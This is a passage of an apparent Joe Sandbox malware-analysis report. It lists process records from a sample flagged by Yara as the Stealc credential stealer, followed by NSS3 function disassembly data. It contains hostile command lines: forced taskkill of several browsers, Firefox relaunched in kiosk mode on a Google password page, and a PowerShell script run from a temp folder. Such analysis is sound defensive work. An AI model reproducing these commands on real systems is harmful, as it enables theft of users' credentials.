Start time:	20:15:02
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	20:15:02
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	20:15:04
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	20:15:04
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	20:15:05
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	20:15:05
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe"
Imagebase:	0x1d0000
File size:	1'794'560 bytes
MD5 hash:	F5634FE84A0D50DA553341DD8B70F55B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000003.2984266147.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000002.3144520267.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002B.00000002.3122292827.00000000001D1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	20:15:05
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	20:15:05
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	20:15:08
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2224 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fcf1a452-f26a-4fc9-9f15-0b7ffbed9b3e} 8064 "\\.\pipe\gecko-crash-server-pipe.8064" 1b3e1f6ad10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	20:15:09
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe"
Imagebase:	0x6d0000
File size:	2'832'384 bytes
MD5 hash:	F2742A9288B543DFD082FE555FC135E7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	20:15:11
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	20:15:11
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	20:15:14
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe"
Imagebase:	0x4b0000
File size:	921'600 bytes
MD5 hash:	163C161C40D81ABCF7762B5FE1E069F9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	20:15:15
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	20:15:15
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008579041\x0xqqzB.ps1"
Imagebase:	0xde0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	20:15:15
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	20:15:15
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	20:15:23
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe"
Imagebase:	0x6d0000
File size:	2'832'384 bytes
MD5 hash:	F2742A9288B543DFD082FE555FC135E7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	20:15:32
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe"
Imagebase:	0x360000
File size:	1'891'328 bytes
MD5 hash:	89A84EB8A83E3072365849AF60F40DCC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000038.00000003.3403782942.000000000103F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000038.00000003.3351129304.0000000001049000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000038.00000003.3400561004.000000000103A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000038.00000003.3404015760.0000000001042000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000038.00000003.3399326642.0000000001037000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000038.00000003.3399431991.0000000001042000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000038.00000003.3400820228.0000000001042000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000038.00000003.3350033216.0000000001037000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	20:15:34
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	20:15:34
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	20:15:34
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	20:15:34
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	20:15:35
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	20:15:35
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	20:15:35
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	20:15:35
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	20:15:36
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	20:15:36
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	20:15:37
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	20:15:37
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	20:15:37
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	20:15:37
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x570000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	20:15:37
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	20:15:38
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	20:15:38
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	20:15:38
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	75
Start time:	20:15:38
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6C5A6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C6F2120,6C5A7E60), ref: 6C5A6EBC
TlsGetValue.KERNEL32 ref: 6C5A6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C5A6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C5A6F25

Part of subcall function 6C57A900: TlsGetValue.KERNEL32(00000000,?,6C6F14E4,?,6C514DD9), ref: 6C57A90F
Part of subcall function 6C57A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C57A94F

PR_Unlock.NSS3 ref: 6C5A6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C5A6FA9
TlsGetValue.KERNEL32 ref: 6C5A70B4
EnterCriticalSection.KERNEL32(?), ref: 6C5A70C8
PR_CallOnce.NSS3(6C6F24C0,6C5E7590), ref: 6C5A7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5A7117
SECOID_Init.NSS3 ref: 6C5A7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C5A714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A71A9
PR_NotifyAllCondVar.NSS3 ref: 6C5A71CF
PR_Unlock.NSS3 ref: 6C5A71DD
free.MOZGLUE(?), ref: 6C5A71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5A7208
free.MOZGLUE(00000000), ref: 6C5A7221
free.MOZGLUE(00000001), ref: 6C5A7235
TlsGetValue.KERNEL32 ref: 6C5A724A
EnterCriticalSection.KERNEL32(?), ref: 6C5A725E
PR_NotifyCondVar.NSS3 ref: 6C5A7273
PR_Unlock.NSS3 ref: 6C5A7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C5A7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C6E0148,,defaultModDB,internalKeySlot), ref: 6C5A74CC
free.MOZGLUE(00000000), ref: 6C5A7513
free.MOZGLUE(00000000), ref: 6C5A751B
free.MOZGLUE(00000000), ref: 6C5A7528
free.MOZGLUE(00000000), ref: 6C5A753C
free.MOZGLUE(00000000), ref: 6C5A7550
free.MOZGLUE(00000000), ref: 6C5A7561
free.MOZGLUE(00000000), ref: 6C5A7572
free.MOZGLUE(00000000), ref: 6C5A7583
free.MOZGLUE(00000000), ref: 6C5A7594
free.MOZGLUE(00000000), ref: 6C5A75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C5A75BD
free.MOZGLUE(00000000), ref: 6C5A75C8
free.MOZGLUE(00000000), ref: 6C5A75F1
PR_NewLock.NSS3 ref: 6C5A7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C5A7686
PR_NewLock.NSS3 ref: 6C5A76A2

Part of subcall function 6C6598D0: calloc.MOZGLUE(00000001,00000084,6C580936,00000001,?,6C58102C), ref: 6C6598E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C5A76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C5A7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C5A771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C5A7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C5A774A
DeleteCriticalSection.KERNEL32(?), ref: 6C5A7770
free.MOZGLUE(?), ref: 6C5A7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C5A77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5A77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C5A7821
PORT_Alloc_Util.NSS3(?), ref: 6C5A7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5A785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5A786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C5A78AC
free.MOZGLUE(00000000), ref: 6C5A78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C5A78F3
free.MOZGLUE(00000000), ref: 6C5A78FC
free.MOZGLUE(00000000), ref: 6C5A791C

Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807AD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807CD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807D6
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C51204A), ref: 6C5807E4
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,6C51204A), ref: 6C580864
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C580880
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,6C51204A), ref: 6C5808CB
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808D7
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808FB

Strings

sql:, xrefs: 6C5A76FE
Spac, xrefs: 6C5A7389
NSS Internal Module, xrefs: 6C5A74A2, 6C5A74C6
,defaultModDB,internalKeySlot, xrefs: 6C5A748D, 6C5A74AA
rdb:, xrefs: 6C5A7744
dbm:, xrefs: 6C5A7716
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C5A74C7
dll, xrefs: 6C5A788E
kbi., xrefs: 6C5A7886
extern:, xrefs: 6C5A772B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 7b4c6b9ce670e767a728de88c31404a2652b2da84cd63baa67d44566dd820626
Instruction ID: e012c24dc9f68f23b0815ae4409d92be9cce7918ec86aca5b5f17c6e8679b44b
Opcode Fuzzy Hash: 7b4c6b9ce670e767a728de88c31404a2652b2da84cd63baa67d44566dd820626
Instruction Fuzzy Hash: BE5233B1E01301ABEF10CFA6DC457AE7BB4BF0A348F044025ED19A7645E731D916CB9A

Function 6C5CBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C5CC0C8

Part of subcall function 6C659440: LeaveCriticalSection.KERNEL32 ref: 6C6595CD
Part of subcall function 6C659440: TlsGetValue.KERNEL32 ref: 6C659622
Part of subcall function 6C659440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C65964E

PR_EnterMonitor.NSS3 ref: 6C5CC0AE

Part of subcall function 6C659090: LeaveCriticalSection.KERNEL32 ref: 6C6591AA
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C659212
Part of subcall function 6C659090: _PR_MD_WAIT_CV.NSS3 ref: 6C65926B

